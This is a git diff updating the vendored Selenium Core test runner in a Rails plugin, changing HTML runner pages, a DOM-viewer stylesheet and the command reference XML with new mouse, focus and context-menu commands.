+            var xhr = XmlHttp.create();
+            var driverUrl = "http://localhost:4444/selenium-server/driver/?cmd=slowResources&1=" + slowResources;
+            xhr.open("GET", driverUrl, true);
+            xhr.send(null);
+        }
+
+        function saveCheck() {
+            var results = document.getElementById("results");
+            var check = document.getElementById("save").checked;
+            if (check) {
+                results.firstChild.nodeValue = "Results file ";
+                document.getElementById("resultsUrl").value = "results.html";
+            } else {
+                results.firstChild.nodeValue = "Results URL ";
+                document.getElementById("resultsUrl").value = "../postResults";
+            }
+        }
+
+        function go() {
+            if (!browserVersion.isHTA && !browserVersion.isChrome) return true;
+            var inputs = document.getElementsByTagName("input");
+            var queryString = "";
+            for (var i = 0; i < inputs.length; i++) {
+                var elem = inputs[i];
+                var name = elem.name;
+                var value = elem.value;
+                if (elem.type == "checkbox") {
+                    value = elem.checked;
+                }
+                queryString += escape(name) + "=" + escape(value);
+                if (i < (inputs.length - 1)) {
+                    queryString += "&";
+                }
+            }
+
+            window.parent.selenium = null;
+            window.parent.htmlTestRunner.controlPanel.queryString = queryString;
+            window.parent.htmlTestRunner.loadSuiteFrame();
+            return false;
+        }
+    </script>
+</head>
+
+<body onload="load()" style="font-size: x-small">
+<form id="prompt" target="_top" method="GET" onsubmit="return go();" action="TestRunner.html">
+
+    <p>
+        Test Suite:
+        <input id="test" name="test" size="30" value="../tests/TestSuite.html"/>
+    </p>
+
+    <p align="center"><input type="submit" value="Go"/></p>
+
+    <fieldset>
+        <legend>Options</legend>
+
+        <p>
+            <input id="multiWindow" type="checkbox" name="multiWindow" onclick="autoCheck();"/> <label
+                for="multiWindow">AUT in separate window</label>
+
+        <p>
+
+        <div id="slowResources-div" style="display: none">
+            <p>
+                <input id="slowResources" type="checkbox" name="slowResources" onclick="slowCheck();" /> <label for="slowResources">Slow down web server</label>
+            </p>
+        </div>
+
+        <p>
+            <input id="auto" type="checkbox" name="auto" onclick="autoCheck();"/> <label for="auto">Run
+            automatically</label>
+        </p>
+
+        <div id="auto-div" style="display: none">
+            <p>
+                <input id="close" type="checkbox" name="close"/> <label for="close">Close afterwards </label>
+            </p>
+
+            <div id="save-div" style="display: none">
+                <br/><label for="save">Save to file </label><input id="save" type="checkbox" name="save"
+                                                                   onclick="saveCheck();"/>
+            </div>
+
+            <p id="results">
+                Results URL:
+                <input id="resultsUrl" name="resultsUrl" value="../postResults"/>
+            </p>
+
+        </div>
+    </fieldset>
+
+
+</form>
+</body>
 </html>
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/TestRunner-splash.html b/vendor/plugins/selenium-on-rails/selenium-core/TestRunner-splash.html
index 032c36ec..da2acdce 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/TestRunner-splash.html
+++ b/vendor/plugins/selenium-on-rails/selenium-core/TestRunner-splash.html
@@ -1,55 +1,55 @@
-<!--
-Copyright 2005 ThoughtWorks, Inc
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
-     http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<html>
-<link rel="stylesheet" type="text/css" href="selenium.css" />
-<body>
-<table width="100%">
-
-<tr>
-  <th>&uarr;</th>
-  <th>&uarr;</th>
-  <th>&uarr;</th>
-</tr>
-<tr>
-  <th width="25%">Test Suite</th>
-  <th width="50%">Current Test</th>
-  <th width="25%">Control Panel</th>
-</tr>
-<tr><td>&nbsp;</td></tr>
-
-<tr>
-<td></td>
-<td class="selenium splash">
-
-<img src="selenium-logo.png" align="right">
-
-<h1>Selenium</h1>
-<h2>by <a href="http://www.thoughtworks.com">ThoughtWorks</a> and friends</h2>
-
-<p>
-For more information on Selenium, visit
-
-<pre>
-    <a href="http://selenium.openqa.org" target="_blank">http://selenium.openqa.org</a>
-</pre>
-
-</td>
-<tr>
-
-</table>
-</body>
-</html>
+<!--
+Copyright 2005 ThoughtWorks, Inc
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<html>
+<link rel="stylesheet" type="text/css" href="selenium.css" />
+<body>
+<table width="100%">
+
+<tr>
+  <th>&uarr;</th>
+  <th>&uarr;</th>
+  <th>&uarr;</th>
+</tr>
+<tr>
+  <th width="25%">Test Suite</th>
+  <th width="50%">Current Test</th>
+  <th width="25%">Control Panel</th>
+</tr>
+<tr><td>&nbsp;</td></tr>
+
+<tr>
+<td></td>
+<td class="selenium splash">
+
+<img src="selenium-logo.png" align="right">
+
+<h1>Selenium</h1>
+<h2>by <a href="http://www.thoughtworks.com">ThoughtWorks</a> and friends</h2>
+
+<p>
+For more information on Selenium, visit
+
+<pre>
+    <a href="http://selenium.openqa.org" target="_blank">http://selenium.openqa.org</a>
+</pre>
+
+</td>
+<tr>
+
+</table>
+</body>
+</html>
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/TestRunner.hta b/vendor/plugins/selenium-on-rails/selenium-core/TestRunner.hta
index 848ca7dc..ab481594 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/TestRunner.hta
+++ b/vendor/plugins/selenium-on-rails/selenium-core/TestRunner.hta
@@ -26,13 +26,13 @@ to work-around a bug in IE on Win2K whereby the HTA application doesn't function
 
         <title>Selenium Functional Test Runner</title>
         <link rel="stylesheet" type="text/css" href="selenium.css"/>
-        <script type="text/javascript" src="scripts/narcissus-defs.js"></script>
-        <script type="text/javascript" src="scripts/narcissus-parse.js"></script>
-        <script type="text/javascript" src="scripts/narcissus-exec.js"></script>
+        <script type="text/javascript" src="scripts/xmlextras.js"></script>
         <script language="JavaScript" type="text/javascript" src="lib/prototype.js"></script>
-        <script language="JavaScript" type="text/javascript" src="scripts/htmlutils.js"></script>
-        <script language="JavaScript" type="text/javascript" src="lib/scriptaculous/scriptaculous.js"></script>
         <script language="JavaScript" type="text/javascript" src="lib/cssQuery/cssQuery-p.js"></script>
+        <script language="JavaScript" type="text/javascript" src="lib/snapsie.js"></script>
+        <script language="JavaScript" type="text/javascript" src="scripts/htmlutils.js"></script>
+        <script language="JavaScript" type="text/javascript" src="scripts/ui-element.js"></script>
+        <script language="JavaScript" type="text/javascript" src="lib/scriptaculous/scriptaculous.js"></script>
         <script language="JavaScript" type="text/javascript" src="scripts/selenium-browserdetect.js"></script>
         <script language="JavaScript" type="text/javascript" src="scripts/selenium-browserbot.js"></script>
         <script language="JavaScript" type="text/javascript" src="scripts/find_matching_child.js"></script>
@@ -42,13 +42,15 @@ to work-around a bug in IE on Win2K whereby the HTA application doesn't function
         <script language="JavaScript" type="text/javascript" src="scripts/selenium-testrunner.js"></script>
         <script language="JavaScript" type="text/javascript" src="scripts/selenium-logging.js"></script>
         <script language="JavaScript" type="text/javascript" src="scripts/selenium-version.js"></script>
-        <script language="JavaScript" type="text/javascript" src="xpath/misc.js"></script>
+        <script language="JavaScript" type="text/javascript" src="xpath/util.js"></script>
+        <script language="JavaScript" type="text/javascript" src="xpath/xmltoken.js"></script>
         <script language="JavaScript" type="text/javascript" src="xpath/dom.js"></script>
         <script language="JavaScript" type="text/javascript" src="xpath/xpath.js"></script>
+        <script language="JavaScript" type="text/javascript" src="xpath/javascript-xpath-0.1.11.js"></script>
         <script language="JavaScript" type="text/javascript" src="scripts/user-extensions.js"></script>
         <script language="JavaScript" type="text/javascript">
             function openDomViewer() {
-                var autFrame = document.getElementById('myiframe');
+                var autFrame = document.getElementById('selenium_myiframe');
                 var autFrameDocument = new SeleniumFrame(autFrame).getDocument();
                 this.rootDocument = autFrameDocument;
                 var domViewer = window.open(getDocumentBase(document) + 'domviewer/domviewer.html');
@@ -68,14 +70,14 @@ to work-around a bug in IE on Win2K whereby the HTA application doesn't function
     <iframe name="testSuiteFrame" id="testSuiteFrame" src="./TestPrompt.html" application="yes"></iframe>
 </td>
 <td width="50%" height="30%">
-    <iframe name="testFrame" id="testFrame" application="yes"></iframe>
+    <iframe name="testFrame" id="testFrame" application="yes" src="Blank.html"></iframe>
 </td>
 
 <td width="25%">
     <table class="layout">
         <tr class="selenium">
             <th width="25%" height="1" class="header">
-                <h1><a href="http://selenium.thoughtworks.com" title="The Selenium Project">Selenium</a> TestRunner
+                <h1><a href="http://selenium.openqa.org" title="The Selenium Project">Selenium</a> TestRunner
                 </h1>
             </th>
         </tr>
@@ -86,16 +88,16 @@ to work-around a bug in IE on Win2K whereby the HTA application doesn't function
 
                     <div id="imageButtonPanel">
                         <button type="button" id="runSuite" onClick="htmlTestRunner.startTestSuite();"
-                                title="Run All tests">
+                                title="Run All tests" accesskey="a">
                         </button>
                         <button type="button" id="runSeleniumTest" onClick="htmlTestRunner.runSingleTest();"
-                                title="Run the Selected test">
+                                title="Run the Selected test" accesskey="r">
                         </button>
                         <button type="button" id="pauseTest" disabled="disabled"
-                                title="Pause/Continue" class="cssPauseTest">
+                                title="Pause/Continue" accesskey="p" class="cssPauseTest">
                         </button>
                         <button type="button" id="stepTest" disabled="disabled"
-                                title="Step">
+                                title="Step" accesskey="s">
                         </button>
                     </div>
 
@@ -164,7 +166,7 @@ to work-around a bug in IE on Win2K whereby the HTA application doesn't function
 
 <tr>
     <td colspan="3" height="70%">
-        <iframe name="myiframe" id="myiframe" src="TestRunner-splash.html"></iframe>
+        <iframe name="selenium_myiframe" id="selenium_myiframe" src="TestRunner-splash.html"></iframe>
     </td>
 </tr>
 
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/TestRunner.html b/vendor/plugins/selenium-on-rails/selenium-core/TestRunner.html
index 848ca7dc..ab481594 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/TestRunner.html
+++ b/vendor/plugins/selenium-on-rails/selenium-core/TestRunner.html
@@ -26,13 +26,13 @@ to work-around a bug in IE on Win2K whereby the HTA application doesn't function
 
         <title>Selenium Functional Test Runner</title>
         <link rel="stylesheet" type="text/css" href="selenium.css"/>
-        <script type="text/javascript" src="scripts/narcissus-defs.js"></script>
-        <script type="text/javascript" src="scripts/narcissus-parse.js"></script>
-        <script type="text/javascript" src="scripts/narcissus-exec.js"></script>
+        <script type="text/javascript" src="scripts/xmlextras.js"></script>
         <script language="JavaScript" type="text/javascript" src="lib/prototype.js"></script>
-        <script language="JavaScript" type="text/javascript" src="scripts/htmlutils.js"></script>
-        <script language="JavaScript" type="text/javascript" src="lib/scriptaculous/scriptaculous.js"></script>
         <script language="JavaScript" type="text/javascript" src="lib/cssQuery/cssQuery-p.js"></script>
+        <script language="JavaScript" type="text/javascript" src="lib/snapsie.js"></script>
+        <script language="JavaScript" type="text/javascript" src="scripts/htmlutils.js"></script>
+        <script language="JavaScript" type="text/javascript" src="scripts/ui-element.js"></script>
+        <script language="JavaScript" type="text/javascript" src="lib/scriptaculous/scriptaculous.js"></script>
         <script language="JavaScript" type="text/javascript" src="scripts/selenium-browserdetect.js"></script>
         <script language="JavaScript" type="text/javascript" src="scripts/selenium-browserbot.js"></script>
         <script language="JavaScript" type="text/javascript" src="scripts/find_matching_child.js"></script>
@@ -42,13 +42,15 @@ to work-around a bug in IE on Win2K whereby the HTA application doesn't function
         <script language="JavaScript" type="text/javascript" src="scripts/selenium-testrunner.js"></script>
         <script language="JavaScript" type="text/javascript" src="scripts/selenium-logging.js"></script>
         <script language="JavaScript" type="text/javascript" src="scripts/selenium-version.js"></script>
-        <script language="JavaScript" type="text/javascript" src="xpath/misc.js"></script>
+        <script language="JavaScript" type="text/javascript" src="xpath/util.js"></script>
+        <script language="JavaScript" type="text/javascript" src="xpath/xmltoken.js"></script>
         <script language="JavaScript" type="text/javascript" src="xpath/dom.js"></script>
         <script language="JavaScript" type="text/javascript" src="xpath/xpath.js"></script>
+        <script language="JavaScript" type="text/javascript" src="xpath/javascript-xpath-0.1.11.js"></script>
         <script language="JavaScript" type="text/javascript" src="scripts/user-extensions.js"></script>
         <script language="JavaScript" type="text/javascript">
             function openDomViewer() {
-                var autFrame = document.getElementById('myiframe');
+                var autFrame = document.getElementById('selenium_myiframe');
                 var autFrameDocument = new SeleniumFrame(autFrame).getDocument();
                 this.rootDocument = autFrameDocument;
                 var domViewer = window.open(getDocumentBase(document) + 'domviewer/domviewer.html');
@@ -68,14 +70,14 @@ to work-around a bug in IE on Win2K whereby the HTA application doesn't function
     <iframe name="testSuiteFrame" id="testSuiteFrame" src="./TestPrompt.html" application="yes"></iframe>
 </td>
 <td width="50%" height="30%">
-    <iframe name="testFrame" id="testFrame" application="yes"></iframe>
+    <iframe name="testFrame" id="testFrame" application="yes" src="Blank.html"></iframe>
 </td>
 
 <td width="25%">
     <table class="layout">
         <tr class="selenium">
             <th width="25%" height="1" class="header">
-                <h1><a href="http://selenium.thoughtworks.com" title="The Selenium Project">Selenium</a> TestRunner
+                <h1><a href="http://selenium.openqa.org" title="The Selenium Project">Selenium</a> TestRunner
                 </h1>
             </th>
         </tr>
@@ -86,16 +88,16 @@ to work-around a bug in IE on Win2K whereby the HTA application doesn't function
 
                     <div id="imageButtonPanel">
                         <button type="button" id="runSuite" onClick="htmlTestRunner.startTestSuite();"
-                                title="Run All tests">
+                                title="Run All tests" accesskey="a">
                         </button>
                         <button type="button" id="runSeleniumTest" onClick="htmlTestRunner.runSingleTest();"
-                                title="Run the Selected test">
+                                title="Run the Selected test" accesskey="r">
                         </button>
                         <button type="button" id="pauseTest" disabled="disabled"
-                                title="Pause/Continue" class="cssPauseTest">
+                                title="Pause/Continue" accesskey="p" class="cssPauseTest">
                         </button>
                         <button type="button" id="stepTest" disabled="disabled"
-                                title="Step">
+                                title="Step" accesskey="s">
                         </button>
                     </div>
 
@@ -164,7 +166,7 @@ to work-around a bug in IE on Win2K whereby the HTA application doesn't function
 
 <tr>
     <td colspan="3" height="70%">
-        <iframe name="myiframe" id="myiframe" src="TestRunner-splash.html"></iframe>
+        <iframe name="selenium_myiframe" id="selenium_myiframe" src="TestRunner-splash.html"></iframe>
     </td>
 </tr>
 
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/domviewer/domviewer.css b/vendor/plugins/selenium-on-rails/selenium-core/domviewer/domviewer.css
index bc2547ac..b64b2435 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/domviewer/domviewer.css
+++ b/vendor/plugins/selenium-on-rails/selenium-core/domviewer/domviewer.css
@@ -1,298 +1,298 @@
-/******************************************************************************
-* Defines default styles for site pages.                                      *
-******************************************************************************/
-.hidden {
-	display: none;
-}
-
-img{
-    display: inline;
-	border: none;
-}
-
-.box{
-	background: #fcfcfc;
-    border: 1px solid #000;
-	border-color: blue;
-    color: #000000;
-	margin: 10px auto;
-    padding: 3px;
-	vertical-align: bottom;
-}
-a {
-  text-decoration: none;
-}
-
-body {
-  background-color: #ffffff;
-  color: #000000;
-  font-family: Arial, Helvetica, sans-serif;
-  font-size: 10pt;
-}
-
-h2 {
-  font-size: 140%;
-}
-
-h3 {
-  font-size: 120%;
-}
-
-h4 {
-  font-size: 100%;
-}
-
-pre {
-  font-family: Courier New, Courier, monospace;
-  font-size: 80%;
-}
-
-td, th {
-  font-family: Arial, Helvetica, sans-serif;
-  font-size: 10pt;
-  text-align: left;
-  vertical-align: top;
-}
-
-th {
-  font-weight: bold;
-  vertical-align: bottom;
-}
-
-ul {
-  list-style-type: square;
-}
-
-#demoBox {
-  border-color: #000000;
-  border-style: solid;
-  border-width: 1px;
-  padding: 8px;
-  width: 24em;
-}
-
-.footer {
-  margin-bottom: 0px;
-  text-align: center;
-}
-
-/* Boxed table styles */
-
-table.boxed {
-  border-spacing: 2px;
-  empty-cells: hide;
-}
-
-td.boxed, th.boxed, th.boxedHeader {
-  background-color: #ffffff;
-  border-color: #000000;
-  border-style: solid;
-  border-width: 1px;
-  color: #000000;
-  padding: 2px;
-  padding-left: 8px;
-  padding-right: 8px;
-}
-
-th.boxed {
-  background-color: #c0c0c0;
-}
-
-th.boxedHeader {
-  background-color: #808080;
-  color: #ffffff;
-}
-
-a.object {
-  color: #0000ff;
-}
-
-li {
-  white-space: nowrap;
-}
-
-ul {
-  list-style-type: square;
-  margin-left: 0px;
-  padding-left: 1em;
-}
-
-.boxlevel1{
-	background: #FFD700;
-}
-
-.boxlevel2{
-	background: #D2691E;
-}
-
-.boxlevel3{
-	background: #DCDCDC;
-}
-
-.boxlevel4{
-	background: #F5F5F5;
-}
-
-.boxlevel5{
-	background: #BEBEBE;
-}
-
-.boxlevel6{
-	background: #D3D3D3;
-}
-
-.boxlevel7{
-	background: #A9A9A9;
-}
-
-.boxlevel8{
-	background: #191970;
-}
-
-.boxlevel9{
-	background: #000080;
-}
-
-.boxlevel10{
-	background: #6495ED;
-}
-
-.boxlevel11{
-	background: #483D8B;
-}
-
-.boxlevel12{
-	background: #6A5ACD;
-}
-
-.boxlevel13{
-	background: #7B68EE;
-}
-
-.boxlevel14{
-	background: #8470FF;
-}
-
-.boxlevel15{
-	background: #0000CD;
-}
-
-.boxlevel16{
-	background: #4169E1;
-}
-
-.boxlevel17{
-	background: #0000FF;
-}
-
-.boxlevel18{
-	background: #1E90FF;
-}
-
-.boxlevel19{
-	background: #00BFFF;
-}
-
-.boxlevel20{
-	background: #87CEEB;
-}
-
-.boxlevel21{
-	background: #B0C4DE;
-}
-
-.boxlevel22{
-	background: #ADD8E6;
-}
-
-.boxlevel23{
-	background: #00CED1;
-}
-
-.boxlevel24{
-	background: #48D1CC;
-}
-
-.boxlevel25{
-	background: #40E0D0;
-}
-
-.boxlevel26{
-	background: #008B8B;
-}
-
-.boxlevel27{
-	background: #00FFFF;
-}
-
-.boxlevel28{
-	background: #E0FFFF;
-}
-
-.boxlevel29{
-	background: #5F9EA0;
-}
-
-.boxlevel30{
-	background: #66CDAA;
-}
-
-.boxlevel31{
-	background: #7FFFD4;
-}
-
-.boxlevel32{
-	background: #006400;
-}
-
-.boxlevel33{
-	background: #556B2F;
-}
-
-.boxlevel34{
-	background: #8FBC8F;
-}
-
-.boxlevel35{
-	background: #2E8B57;
-}
-
-.boxlevel36{
-	background: #3CB371;
-}
-
-.boxlevel37{
-	background: #20B2AA;
-}
-
-.boxlevel38{
-	background: #00FF7F;
-}
-
-.boxlevel39{
-	background: #7CFC00;
-}
-
-.boxlevel40{
-	background: #90EE90;
-}
-
-.boxlevel41{
-	background: #00FF00;
-}
-
-.boxlevel41{
-	background: #7FFF00;
-}
-
-.boxlevel42{
-	background: #00FA9A;
-}
-
-.boxlevel43{
-	background: #ADFF2F;
-}
-
-.boxlevel44{
-	background: #32CD32;
+/******************************************************************************
+* Defines default styles for site pages.                                      *
+******************************************************************************/
+.hidden {
+	display: none;
+}
+
+img{
+    display: inline;
+	border: none;
+}
+
+.box{
+	background: #fcfcfc;
+    border: 1px solid #000;
+	border-color: blue;
+    color: #000000;
+	margin: 10px auto;
+    padding: 3px;
+	vertical-align: bottom;
+}
+a {
+  text-decoration: none;
+}
+
+body {
+  background-color: #ffffff;
+  color: #000000;
+  font-family: Arial, Helvetica, sans-serif;
+  font-size: 10pt;
+}
+
+h2 {
+  font-size: 140%;
+}
+
+h3 {
+  font-size: 120%;
+}
+
+h4 {
+  font-size: 100%;
+}
+
+pre {
+  font-family: Courier New, Courier, monospace;
+  font-size: 80%;
+}
+
+td, th {
+  font-family: Arial, Helvetica, sans-serif;
+  font-size: 10pt;
+  text-align: left;
+  vertical-align: top;
+}
+
+th {
+  font-weight: bold;
+  vertical-align: bottom;
+}
+
+ul {
+  list-style-type: square;
+}
+
+#demoBox {
+  border-color: #000000;
+  border-style: solid;
+  border-width: 1px;
+  padding: 8px;
+  width: 24em;
+}
+
+.footer {
+  margin-bottom: 0px;
+  text-align: center;
+}
+
+/* Boxed table styles */
+
+table.boxed {
+  border-spacing: 2px;
+  empty-cells: hide;
+}
+
+td.boxed, th.boxed, th.boxedHeader {
+  background-color: #ffffff;
+  border-color: #000000;
+  border-style: solid;
+  border-width: 1px;
+  color: #000000;
+  padding: 2px;
+  padding-left: 8px;
+  padding-right: 8px;
+}
+
+th.boxed {
+  background-color: #c0c0c0;
+}
+
+th.boxedHeader {
+  background-color: #808080;
+  color: #ffffff;
+}
+
+a.object {
+  color: #0000ff;
+}
+
+li {
+  white-space: nowrap;
+}
+
+ul {
+  list-style-type: square;
+  margin-left: 0px;
+  padding-left: 1em;
+}
+
+.boxlevel1{
+	background: #FFD700;
+}
+
+.boxlevel2{
+	background: #D2691E;
+}
+
+.boxlevel3{
+	background: #DCDCDC;
+}
+
+.boxlevel4{
+	background: #F5F5F5;
+}
+
+.boxlevel5{
+	background: #BEBEBE;
+}
+
+.boxlevel6{
+	background: #D3D3D3;
+}
+
+.boxlevel7{
+	background: #A9A9A9;
+}
+
+.boxlevel8{
+	background: #191970;
+}
+
+.boxlevel9{
+	background: #000080;
+}
+
+.boxlevel10{
+	background: #6495ED;
+}
+
+.boxlevel11{
+	background: #483D8B;
+}
+
+.boxlevel12{
+	background: #6A5ACD;
+}
+
+.boxlevel13{
+	background: #7B68EE;
+}
+
+.boxlevel14{
+	background: #8470FF;
+}
+
+.boxlevel15{
+	background: #0000CD;
+}
+
+.boxlevel16{
+	background: #4169E1;
+}
+
+.boxlevel17{
+	background: #0000FF;
+}
+
+.boxlevel18{
+	background: #1E90FF;
+}
+
+.boxlevel19{
+	background: #00BFFF;
+}
+
+.boxlevel20{
+	background: #87CEEB;
+}
+
+.boxlevel21{
+	background: #B0C4DE;
+}
+
+.boxlevel22{
+	background: #ADD8E6;
+}
+
+.boxlevel23{
+	background: #00CED1;
+}
+
+.boxlevel24{
+	background: #48D1CC;
+}
+
+.boxlevel25{
+	background: #40E0D0;
+}
+
+.boxlevel26{
+	background: #008B8B;
+}
+
+.boxlevel27{
+	background: #00FFFF;
+}
+
+.boxlevel28{
+	background: #E0FFFF;
+}
+
+.boxlevel29{
+	background: #5F9EA0;
+}
+
+.boxlevel30{
+	background: #66CDAA;
+}
+
+.boxlevel31{
+	background: #7FFFD4;
+}
+
+.boxlevel32{
+	background: #006400;
+}
+
+.boxlevel33{
+	background: #556B2F;
+}
+
+.boxlevel34{
+	background: #8FBC8F;
+}
+
+.boxlevel35{
+	background: #2E8B57;
+}
+
+.boxlevel36{
+	background: #3CB371;
+}
+
+.boxlevel37{
+	background: #20B2AA;
+}
+
+.boxlevel38{
+	background: #00FF7F;
+}
+
+.boxlevel39{
+	background: #7CFC00;
+}
+
+.boxlevel40{
+	background: #90EE90;
+}
+
+.boxlevel41{
+	background: #00FF00;
+}
+
+.boxlevel41{
+	background: #7FFF00;
+}
+
+.boxlevel42{
+	background: #00FA9A;
+}
+
+.boxlevel43{
+	background: #ADFF2F;
+}
+
+.boxlevel44{
+	background: #32CD32;
 }
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/iedoc-core.xml b/vendor/plugins/selenium-on-rails/selenium-core/iedoc-core.xml
index 362580d4..0cea3806 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/iedoc-core.xml
+++ b/vendor/plugins/selenium-on-rails/selenium-core/iedoc-core.xml
@@ -18,14 +18,14 @@ We support the following strategies for locating elements:
 
 <ul>
 <li><strong>identifier</strong>=<em>id</em>: 
-Select the element with the specified &#64;id attribute. If no match is
-found, select the first element whose &#64;name attribute is <em>id</em>.
+Select the element with the specified &#064;id attribute. If no match is
+found, select the first element whose &#064;name attribute is <em>id</em>.
 (This is normally the default; see below.)</li>
 <li><strong>id</strong>=<em>id</em>:
-Select the element with the specified &#64;id attribute.</li>
+Select the element with the specified &#064;id attribute.</li>
 
 <li><strong>name</strong>=<em>name</em>:
-Select the first element with the specified &#64;name attribute.
+Select the first element with the specified &#064;name attribute.
 <ul class="first last simple">
 <li>username</li>
 <li>name=username</li>
@@ -52,12 +52,12 @@ Model using JavaScript.  Note that you must not return a value in this string; s
 <li><strong>xpath</strong>=<em>xpathExpression</em>: 
 Locate an element using an XPath expression.
 <ul class="first last simple">
-<li>xpath=//img[&#64;alt='The image alt text']</li>
-<li>xpath=//table[&#64;id='table1']//tr[4]/td[2]</li>
-<li>xpath=//a[contains(&#64;href,'#id1')]</li>
-<li>xpath=//a[contains(&#64;href,'#id1')]/&#64;class</li>
-<li>xpath=(//table[&#64;class='stylee'])//th[text()='theHeaderText']/../td</li>
-<li>xpath=//input[&#64;name='name2' and &#64;value='yes']</li>
+<li>xpath=//img[&#064;alt='The image alt text']</li>
+<li>xpath=//table[&#064;id='table1']//tr[4]/td[2]</li>
+<li>xpath=//a[contains(&#064;href,'#id1')]</li>
+<li>xpath=//a[contains(&#064;href,'#id1')]/&#064;class</li>
+<li>xpath=(//table[&#064;class='stylee'])//th[text()='theHeaderText']/../td</li>
+<li>xpath=//input[&#064;name='name2' and &#064;value='yes']</li>
 <li>xpath=//*[text()="right"]</li>
 
 </ul>
@@ -79,6 +79,16 @@ Select the element using css selectors. Please refer to <a href="http://www.w3.o
 </ul>
 <p>Currently the css selector locator supports all css1, css2 and css3 selectors except namespace in css3, some pseudo classes(:nth-of-type, :nth-last-of-type, :first-of-type, :last-of-type, :only-of-type, :visited, :hover, :active, :focus, :indeterminate) and pseudo elements(::first-line, ::first-letter, ::selection, ::before, ::after). </p>
 </li>
+
+<li><strong>ui</strong>=<em>uiSpecifierString</em>:
+Locate an element by resolving the UI specifier string to another locator, and evaluating it. See the <a href="http://svn.openqa.org/fisheye/browse/~raw,r=trunk/selenium/trunk/src/main/resources/core/scripts/ui-doc.html">Selenium UI-Element Reference</a> for more details.
+<ul class="first last simple">
+<li>ui=loginPages::loginButton()</li>
+<li>ui=settingsPages::toggle(label=Hide Email)</li>
+<li>ui=forumPages::postBody(index=2)//a[2]</li>
+</ul>
+</li>
+
 </ul>
 
 <p>
@@ -123,6 +133,8 @@ string.</li>
 <li><strong>regexp:</strong><em>regexp</em>:
 Match a string using a regular-expression. The full power of JavaScript
 regular-expressions is available.</li>
+<li><strong>regexpi:</strong><em>regexpi</em>:
+Match a string using a case-insensitive regular-expression.</li>
 <li><strong>exact:</strong><em>string</em>:
 
 Match a string exactly, verbatim, without any of that fancy wildcard
@@ -131,6 +143,14 @@ stuff.</li>
 <p>
 If no pattern prefix is specified, Selenium assumes that it's a "glob"
 pattern.
+</p>
+<p>
+For commands that return multiple values (such as verifySelectOptions),
+the string being matched is a comma-separated list of the return values,
+where both commas and backslashes in the values are backslash-escaped.
+When providing a pattern, the optional matching syntax (i.e. glob,
+regexp, etc.) is specified once, as usual, at the beginning of the
+pattern.
 </p></top>
 
 <function name="click">
@@ -153,6 +173,14 @@ waitForPageToLoad.</comment>
 
 </function>
 
+<function name="contextMenu">
+
+<param name="locator">an element locator</param>
+
+<comment>Simulates opening the context menu for the specified element (as might happen if the user "right-clicked" on the element).</comment>
+
+</function>
+
 <function name="clickAt">
 
 <param name="locator">an element locator</param>
@@ -177,6 +205,16 @@ waitForPageToLoad.</comment>
 
 </function>
 
+<function name="contextMenuAt">
+
+<param name="locator">an element locator</param>
+
+<param name="coordString">specifies the x,y position (i.e. - 10,20) of the mouse      event relative to the element returned by the locator.</param>
+
+<comment>Simulates opening the context menu for the specified element (as might happen if the user "right-clicked" on the element).</comment>
+
+</function>
+
 <function name="fireEvent">
 
 <param name="locator">an <a href="#locators">element locator</a></param>
@@ -188,6 +226,14 @@ handler.</comment>
 
 </function>
 
+<function name="focus">
+
+<param name="locator">an <a href="#locators">element locator</a></param>
+
+<comment>Move the focus to the specified element; for example, if the element is an input field, move the cursor to that field.</comment>
+
+</function>
+
 <function name="keyPress">
 
 <param name="locator">an <a href="#locators">element locator</a></param>
@@ -286,7 +332,16 @@ handler.</comment>
 
 <param name="locator">an <a href="#locators">element locator</a></param>
 
-<comment>Simulates a user pressing the mouse button (without releasing it yet) on
+<comment>Simulates a user pressing the left mouse button (without releasing it yet) on
+the specified element.</comment>
+
+</function>
+
+<function name="mouseDownRight">
+
+<param name="locator">an <a href="#locators">element locator</a></param>
+
+<comment>Simulates a user pressing the right mouse button (without releasing it yet) on
 the specified element.</comment>
 
 </function>
@@ -297,8 +352,19 @@ the specified element.</comment>
 
 <param name="coordString">specifies the x,y position (i.e. - 10,20) of the mouse      event relative to the element returned by the locator.</param>
 
-<comment>Simulates a user pressing the mouse button (without releasing it yet) on
-the specified element.</comment>
+<comment>Simulates a user pressing the left mouse button (without releasing it yet) at
+the specified location.</comment>
+
+</function>
+
+<function name="mouseDownRightAt">
+
+<param name="locator">an <a href="#locators">element locator</a></param>
+
+<param name="coordString">specifies the x,y position (i.e. - 10,20) of the mouse      event relative to the element returned by the locator.</param>
+
+<comment>Simulates a user pressing the right mouse button (without releasing it yet) at
+the specified location.</comment>
 
 </function>
 
@@ -306,8 +372,17 @@ the specified element.</comment>
 
 <param name="locator">an <a href="#locators">element locator</a></param>
 
-<comment>Simulates a user pressing the mouse button (without releasing it yet) on
-the specified element.</comment>
+<comment>Simulates the event that occurs when the user releases the mouse button (i.e., stops
+holding the button down) on the specified element.</comment>
+
+</function>
+
+<function name="mouseUpRight">
+
+<param name="locator">an <a href="#locators">element locator</a></param>
+
+<comment>Simulates the event that occurs when the user releases the right mouse button (i.e., stops
+holding the button down) on the specified element.</comment>
 
 </function>
 
@@ -317,8 +392,19 @@ the specified element.</comment>
 
 <param name="coordString">specifies the x,y position (i.e. - 10,20) of the mouse      event relative to the element returned by the locator.</param>
 
